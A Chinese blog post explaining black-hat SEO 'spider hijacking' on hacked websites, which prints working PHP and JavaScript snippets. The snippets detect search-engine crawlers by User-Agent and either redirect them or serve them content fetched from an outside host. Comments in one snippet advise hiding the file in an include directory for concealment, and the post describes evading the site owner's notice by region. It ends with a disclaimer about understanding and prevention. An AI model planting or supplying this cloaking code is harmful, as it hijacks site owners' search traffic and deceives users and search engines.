如果你的网站被黑了,通过百度site你的网站,发现百度快照全部都是博彩、色情、各种垃圾信息,但是全部都是你的网址生成的快照,随便点击一个快照打开页面,显示的却是自己原网页,查看源代码,也没有任何问题。这其实就是,通过黑帽seo利用User-Agent 判断实现蜘蛛劫持的效果。今天白露找了一下资料发现了几个黑帽seo之前常用的劫持代码,现在分享个大家,供大家研究!
php版本利用User-Agent判断实现蜘蛛劫持代码
第一种常规跳转
<?php
$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
if(isspider($ua)){
header("location: http://blmoe.cn"); //这里修改跳转到的页面
}
function isspider($name){
$spider_chs=array("googlebot","spider","sogou","yahoo","soso","baidu","360");
foreach($spider_chs as $spider_ch){
if(strpos($name,$spider_ch)!==false){return true;}
}
return false;
}
?>
第二种利用301跳转
<?php
################################################
# 可以把本文件放在类似inc、include这样的目录中 #
# 首页require_once('本文件路径');就可以了 #
# 这样会比较隐蔽 #
################################################
if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'baiduspider') !== false ) {
//判断搜索引擎,这里是百度,可以自行添加蜘蛛
/*
Header("HTTP/1.1 301 Moved Permanently");
Header("Location: http://blmoe.cn/");
//这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话...
*/
$file = file_get_contents('http://blmoe.cn');
echo $file;//输出指定文件内容,让蜘蛛抓取
exit;
}
//判断来路
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {//如果用户来自baidu.com
//Header("HTTP/1.1 301 Moved Permanently");//301跳转,也可以不用301,直接跳转,301状态码主要针对搜索引擎使用
Header("Location: http://blmoe.cn/");//跳转
exit;
}
?>
js版本利用User-Agent判断实现蜘蛛劫持代码
var s = navigator.userAgent.toLowerCase();
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 |
| s.indexOf("sogou")>0 || s.indexOf("spider")>0){
window.location.href="http://blmoe.cn/"; //跳转网址
}
以上都是之前的蜘蛛代码代码,现在由于百度算法更加的智能,一些黑帽seo高手都在与时俱进,比如根据网站后台登陆ip记录判断站长所属地区,除此地区之外,进行劫持跳转,这样站长在本地区搜索也好,百度site查看快照也好,几乎看不出什么异样,但其他地区的搜索结果就都变样了,导致搜索流量都被转移走了。
最后声明
白露分享黑帽seo利用User-Agent 判断实现蜘蛛劫持代码的目的不是让我们去模仿,而是让大家知道一下原理,怎么去防范。
猜你喜欢